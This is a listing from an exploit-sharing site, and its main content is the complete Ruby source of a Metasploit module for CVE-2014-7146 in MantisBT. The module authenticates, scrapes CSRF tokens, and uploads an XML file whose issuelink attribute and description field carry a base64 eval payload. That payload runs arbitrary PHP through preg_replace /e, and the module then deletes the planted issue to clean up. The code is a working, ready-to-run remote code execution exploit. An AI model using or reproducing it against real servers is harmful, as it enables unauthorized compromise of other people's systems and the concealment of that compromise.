0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MantisBT XmlImportExport Plugin PHP Code Injection Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability', 'Description' => %q{ This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed. The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine. }, 'License' => MSF_LICENSE, 'Author' => [ 'Egidio Romano', # discovery http://karmainsecurity.com 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco ], 'References' => [ ['CVE', '2014-7146'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Generic (PHP Payload)', {}]], 'DisclosureDate' => 'Nov 8 2014', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']), OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']), OptString.new('TARGETURI', [ true, 'Base directory path', '/']) ], self.class) end def check res = exec_php('phpinfo(); die();', true) if res && res.body =~ /This program makes use of the Zend/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Unknown end end def do_login() print_status('Checking access to MantisBT...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login_page.php'), 'vars_get' => { 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import') } }) fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200 session_cookie = res.get_cookies print_status('Logging in...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'cookie' => session_cookie, 'vars_post' => { 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'), 'username' => datastore['username'], 'password' => datastore['password'], 'secure_session' => 'on' } }) fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302 fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/ "#{session_cookie} #{res.get_cookies}" end def upload_xml(payload_b64, rand_text, cookies, is_check) if is_check timeout = 20 else timeout = 3 end rand_num = Rex::Text.rand_text_numeric(1, 9) print_status('Checking XmlImportExport plugin...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'plugin.php'), 'cookie' => cookies, 'vars_get' => { 'page' => 'XmlImportExport/import' } }) unless res && res.code == 200 print_error('Error trying to access XmlImportExport/import page...') return false end # Retrieving CSRF token if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/ csrf_token = Regexp.last_match[1] else print_error('Error trying to read CSRF token') return false end # Retrieving default project id if res.body =~ /name="project_id" value="([0-9]+)"/ project_id = Regexp.last_match[1] else print_error('Error trying to read project id') return false end # Retrieving default category id if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/ category_id = Regexp.last_match[1] category_name = Regexp.last_match[2] else print_error('Error trying to read default category') return false end # Retrieving default max file size if res.body =~ /name="max_file_size" value="([0-9]+)"/ max_file_size = Regexp.last_match[1] else print_error('Error trying to read default max file size') return false end # Retrieving default step if res.body =~ /name="step" value="([0-9]+)"/ step = Regexp.last_match[1] else print_error('Error trying to read default step value') return false end xml_file = %Q| <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1"> <issue> <id>#{ rand_num }</id> <project id="#{ project_id }">#{ rand_text }</project> <reporter id="#{ rand_num }">#{ rand_text }</reporter> <priority id="30">normal</priority> <severity id="50">minor</severity> <reproducibility id="70">have not tried</reproducibility> <status id="#{ rand_num }">new</status> <resolution id="#{ rand_num }">open</resolution> <projection id="#{ rand_num }">none</projection> <category id="#{ category_id }">#{ category_name }</category> <date_submitted>1415492267</date_submitted> <last_updated>1415507582</last_updated> <eta id="#{ rand_num }">none</eta> <view_state id="#{ rand_num }">public</view_state> <summary>#{ rand_text }</summary> <due_date>1</due_date> <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description> </issue> </mantis> | data = Rex::MIME::Message.new data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"") data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"") data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"") data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"") data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"") data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"") data.add_part("link", nil, nil, "form-data; name=\"fallback\"") data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"") data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"") data_post = data.to_s print_status('Sending payload...') return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'), 'cookie' => cookies, 'ctype' => "multipart/form-data; boundary=#{ data.bound }", 'data' => data_post }, timeout) end def exec_php(php_code, is_check = false) # remove comments, line breaks and spaces of php_code payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') # clean b64 payload while Rex::Text.encode_base64(payload_clean) =~ /=/ payload_clean = "#{ payload_clean } " end payload_b64 = Rex::Text.encode_base64(payload_clean) rand_text = Rex::Text.rand_text_alpha(5, 8) cookies = do_login() res_payload = upload_xml(payload_b64, rand_text, cookies, is_check) # When a meterpreter session is active, communication with the application is lost. # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it. cookies = do_login() print_status("Deleting issue (#{ rand_text })...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'my_view_page.php'), 'cookie' => cookies }) unless res && res.code == 200 print_error('Error trying to access My View page') return false end if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/ issue_id = Regexp.last_match[1] else print_error('Error trying to retrieve issue id') return false end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'), 'cookie' => cookies, 'vars_get' => { 'bug_arr[]' => issue_id, 'action' => 'DELETE', }, }) if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/ csrf_token = Regexp.last_match[1] else print_error('Error trying to retrieve CSRF token') return false end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'), 'cookie' => cookies, 'vars_post' => { 'bug_actiongroup_DELETE_token' => csrf_token, 'bug_arr[]' => issue_id, 'action' => 'DELETE', }, }) if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/ print_status("Issue number (#{ issue_id }) removed") else print_error("Removing issue number (#{ issue_id }) has failed") return false end # if check return the response if is_check return res_payload else return true end end def exploit unless exec_php(payload.encoded) fail_with(Failure::Unknown, 'Exploit failed, aborting.') end end end # 0day.today [2024-12-26] #